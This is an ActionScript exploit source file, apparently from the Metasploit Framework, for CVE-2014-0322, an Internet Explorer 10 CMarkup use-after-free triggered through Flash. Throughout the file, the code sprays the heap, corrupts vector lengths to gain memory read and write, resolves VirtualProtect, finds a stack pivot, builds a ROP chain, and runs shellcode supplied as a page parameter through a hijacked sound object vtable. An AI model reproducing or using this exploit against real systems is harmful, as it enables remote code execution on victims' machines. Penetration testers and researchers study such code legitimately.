metasploit-framework/external/source/exploits/CVE-2014-0322/AsXploit.as

520 lines
14 KiB
ActionScript
Executable File

/*
* MS14-012 Internet Explorer CMarkup Use-After-Free
* Vendor Homepage: http://www.microsoft.com
* Version: IE 10
* Date: 2014-03-31
* Exploit Author: Jean-Jamil Khalife
* Tested on: Windows 7 SP1 x64 (fr, en)
* Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77)
* Home: http://www.hdwsec.fr
* Blog : http://www.hdwsec.fr/blog/
* MS14-012 / CVE-2014-0322
*
* Generation:
* c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf
*
*/
package
{
import __AS3__.vec.Vector;
import flash.display.*;
import flash.events.*;
import flash.external.*;
import flash.media.*;
import flash.net.*;
import flash.text.*;
import flash.utils.*;
import Math;
import flash.system.Security;
import flash.external.ExternalInterface;
import flash.display.LoaderInfo;
public class AsXploit extends Sprite
{
public var s:Vector.<Object>;
public var spraysound:Vector.<Object>;
public var myTimer:Timer;
public var sound:Sound;
public var shellcodeObj:Array;
/*
* Prepare the heap
* Trigger the vulnerability
* Exploit :)
*/
public function AsXploit()
{
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.version.split(",");
/* Prepare the heap */
init_heap();
/* Trigger the vulnerability */
ExternalInterface.call("trigger");
/* Check every second if the vulnerability has triggered */
myTimer = new Timer(1000, 114096);
myTimer.addEventListener("timer", timerHandler);
myTimer.start();
}
/* Prepare the heap
* Spray aligned vector & sound objects
*/
public function init_heap():void
{
var len:int = 0;
var i:int = 0;
/* Spray the integer array */
this.s = new Vector.<Object>(0x18180);
while (len < 0x18180)
{
this.s[len] = new Vector.<uint>(0x1000 / 4 - 16);
for (i=0; i < this.s[len].length; i++)
{
this.s[len][i] = 0x1a1a1a1a;
}
++len;
}
/* Spray sound object ptr */
this.sound = new Sound();
this.spraysound = new Vector.<Object>(0x100);
len = 0;
while (len < 0x100)
{
this.spraysound[len] = new Vector.<Object>(0x1234);
for (i=0; i < this.spraysound[len].length; i++)
{
this.spraysound[len][i] = this.sound;
}
++len;
}
}
/*
* Read an INT value in memory
*/
public function readInt(u1:int, u2:int, mod:uint):int
{
var valres:uint = 0;
if (mod == 1){
valres = ((u1 & 0xFFFFFF00)/0x100) + (u2&0xFF)*0x1000000;
}
else if (mod == 2){
valres = ((u1 & 0xFFFF0000)/0x10000) + (u2&0xFFFF)*0x10000;
}
else if (mod == 3){
valres = ((u1 & 0xFF000000)/0x1000000) + (u2&0xFFFFFF)*0x100;
}
else
{
valres = u1;
}
return valres;
}
/*
* Search a stack pivot dynamically
* baseflashaddr_off: flash dll base address offset
* index: index of vectors table
* offset: offset to get the Stackpivot RVA
*/
public function getSP(baseflashaddr_off:uint, index:uint, offset:uint):uint
{
var sp:uint = 0;
var sn:uint = 0;
var secname:uint = 0;
var sec:uint = 0;
var peindex:uint = 0;
var virtualSize:uint = 0;
var virtualAddr:uint = 0;
var i:uint = 0;
/* Find .text */
peindex = this.s[index][baseflashaddr_off+0x3C/4];
sn = this.s[index][baseflashaddr_off+peindex/4+1] >> 16;
/* Find 0xC394 */
for (sec=0; sec < sn; sec++)
{
if (this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E
&& this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74)
{
virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3];
virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2];
/* Find a stack pivot */
for (i=0; i < virtualSize/4; i++)
{
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF) != 0xC394)
{
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF00 ) != 0xC39400)
{
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF0000 ) != 0xC3940000)
{
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFF000000 ) == 0x94000000
&& (this.s[index][baseflashaddr_off+virtualAddr/4 + i + 1] & 0xFF ) == 0xC3)
{
sp = virtualAddr + i*4 + 3;
break;
}
}
else
{
sp = virtualAddr + i*4 + 2;
break;
}
}
else
{
sp = virtualAddr + i*4 + 1;
break;
}
}
else
{
sp = virtualAddr + i*4;
break;
}
}
}
}
if (sp != 0)
sp = offset+sp;
return sp;
}
/*
* Build & Insert the stack pivot + ROP + Shellcode
* Corrupt sound object vtable ptr
* baseflashaddr_off: flash dll address offset
* index: vectors table index
* cvaddr: corrupted vector address
* virtualprotectaddr: virtual protect address
* sp: stack pivot address
*/
public function buildPayload(baseflashaddr_off:uint, index:uint, j:uint, cvaddr:uint, virtualprotectaddr:uint, sp:uint ):void
{
var dec:uint = 0;
var soundobjref:uint = 0;
var soundobjaddr:uint = 0;
var sh:uint=0x300;
var i:uint = 0;
/* Corrupt sound object vtable ptr */
while (1)
{
if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234)
{
soundobjref = this.s[index][j+0x0A];
dec = soundobjref-cvaddr-1;
this.s[index][dec/4-2] = cvaddr+2*4+4*4;
break;
}
j++;
}
/* Stack pivot */
for (i=0; i < 0x200; i++)
this.s[index][i] = sp;
/* ROP */
this.s[index][0] = 0x41414141;
this.s[index][1] = 0x41414141;
this.s[index][2] = 0x41414141;
this.s[index][3] = 0x41414141;
this.s[index][4] = virtualprotectaddr;
this.s[index][5] = cvaddr+0xC00+8;
this.s[index][6] = cvaddr;
this.s[index][7] = 0x4000;
this.s[index][8] = 0x40;
this.s[index][9] = 0x1a002000;
/* Shellcode */
for(var u:String in shellcodeObj)
{
this.s[index][sh++] = Number(shellcodeObj[u]);
}
}
/*
* Get flash module base address
* index: index of vectors table
* cvaddr: corrupted vector address
*/
public function getFlashBaseAddr(index:uint, cvaddr:uint):Array
{
var baseflashaddr_off:uint = 0;
var j:int = 0;
var k:int = 0;
var kmax:uint = 0;
var vtableobj:int = 0;
var ocxinfo:Array = new Array();
while (1)
{
if (this.s[index][j] == 0x00010c00)
{
vtableobj = this.s[index][j+0x08] & 0xFFFF0000;
/* Get ocx base address */
k = 0;
while (1)
{
if (this.s[index][(vtableobj-cvaddr-k)/4 - 2] == 0x00905A4D)
{
baseflashaddr_off = (vtableobj-cvaddr-k)/4 - 2;
ocxinfo[0] = baseflashaddr_off;
ocxinfo[1] = j;
ocxinfo[2] = k;
ocxinfo[3] = vtableobj;
return ocxinfo;
}
k = k + 0x1000;
}
}
j = j + 0x1;
}
return ocxinfo;
}
/*
* Find kernel32.dll index
* index: index of vectors table
* baseflashaddr_off: flash dll address offset
* importsindex: offset to the imports table
*/
public function getK32Index(index:uint, baseflashaddr_off:uint, importsindex:uint):uint
{
var nameindex:uint = 0;
var dllname:int = 0;
var nameaddr:int = 0;
do
{
nameaddr = this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4];
/* kernel32.dll not found */
if (nameaddr == 0x0)
break;
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
/* Check kernel32.dll */
if (dllname == 0x6E72656B || dllname == 0x4E52454B)
{
nameaddr = nameaddr + 4;
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
if (dllname == 0x32336C65 || dllname == 0x32334C45)
{
nameaddr = nameaddr + 4;
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
if (dllname == 0x6C6C642E || dllname == 0x4C4C442E)
{
return nameindex;
}
}
}
/* Next dll */
nameindex = nameindex + 0x14;
}
while (1);
return 0;
}
/*
* Get VirtualProtectStub() addr
*/
public function GetVirtualProtectStubAddr(index:uint, baseflashaddr_off:uint, fct_addr_offset:uint, fct_name_offset:uint):uint
{
var fct_addr:uint = 0;
var fct_name:uint = 0;
var fct_name_struct:uint = 0;
do
{
fct_addr = readInt(this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4+1], (fct_addr_offset % 4));
fct_name_struct = readInt(this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4+1], (fct_name_offset % 4));
/* VirtualProtectStub() not found */
if (fct_addr == 0 || fct_name_struct == 0)
break;
if ((fct_name_struct & 0x80000000) != 0x80000000)
{
fct_name_struct = fct_name_struct + 2;
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
/* Check VirtualProtect */
if (fct_name == 0x74726956 || fct_name == 0x54524956)
{
fct_name_struct = fct_name_struct + 4;
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
if (fct_name == 0x504c4155 || fct_name == 0x506c6175)
{
fct_name_struct = fct_name_struct + 4;
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
if (fct_name == 0x45544f52 || fct_name == 0x65746f72)
{
return fct_addr;
}
}
}
}
/* Next Function() */
fct_addr_offset = fct_addr_offset + 0x4;
fct_name_offset = fct_name_offset + 0x4;
}
while (1);
return 0;
}
/*
* Get corrupted vector index
*/
public function getCorruptedVectorIndex():uint
{
var i:uint = 0;
for (i=0; i < this.s.length; i++)
{
if (this.s[i].length == 0x3FFFFFFF)
{
return i;
}
}
return i;
}
/*
* Corrupt next vector size
*/
public function corruptNextVector(index:uint):uint
{
var j:uint = 0;
for (j=0; j < this.s.length; j++)
{
if (this.s[index][j] == 0x000003F0)
{
this.s[index][j] = 0x3FFFFFFF;
return j;
}
j = j + 1;
}
return 0;
}
/*
* Perform the exploitation
* - Find VirtualProtect()
* - Find a stack pivot
* - Build payload (SP + ROP + SC)
* - Run payload
*/
public function timerHandler(event:TimerEvent):void
{
var i:int = 0;
var j:int = 0;
var k:int = 0;
var vtableobj:int = 0;
var peindex:int = 0;
var importsindex:int = 0;
var k32index:int = 0;
var fct_name_offset:uint = 0;
var fct_addr_offset:uint = 0;
var baseflashaddr_off:int = 0; /* Base address of the flash dll */
var vp_addr:uint = 0; /* VirtualProtectStub() addr */
var stackpivot:uint = 0; /* Stackpivot address */
var cvaddr:int = 0x1a001000; /* corrupted vector address */
var ocxinfo:Array;
var i2:uint = 0;
/* Search the corrupted vector */
for (i=0; i < this.s.length; i++)
{
/* Find corrupted vector */
if (this.s[i].length == 0x010003f0)
{
this.myTimer.stop();
/* Corrupt next vector size */
if (corruptNextVector(i) == 0)
return;
/* Find corrupted vector */
i2 = getCorruptedVectorIndex();
if (i2 == 0) return;
/* Get flash base addr */
ocxinfo = getFlashBaseAddr(i2, cvaddr);
if (ocxinfo.length == 0) return;
baseflashaddr_off = ocxinfo[0];
j = ocxinfo[1];
k = ocxinfo[2];
vtableobj = ocxinfo[3];
/* Get imports table */
peindex = this.s[i2][baseflashaddr_off+0x3C/4];
importsindex = this.s[i2][baseflashaddr_off+peindex/4+(0x18+0x60+0x8)/4];
/* Find kernel32.dll */
k32index = getK32Index(i2, baseflashaddr_off, importsindex);
if (k32index == 0) return;
fct_addr_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4+0x10/4];
fct_name_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4];
/* Find VirtualProtectStub() addr */
vp_addr = GetVirtualProtectStubAddr(i2, baseflashaddr_off, fct_addr_offset, fct_name_offset);
if (vp_addr == 0) return;
/* Search Stack Pivot */
stackpivot = getSP(baseflashaddr_off, i2, vtableobj-k);
if (stackpivot == 0) return;
/* Build Payload */
buildPayload(baseflashaddr_off, i2, j, cvaddr, vp_addr, stackpivot);
/* Run Payload */
this.sound.toString();
return;
}
}
}
}
}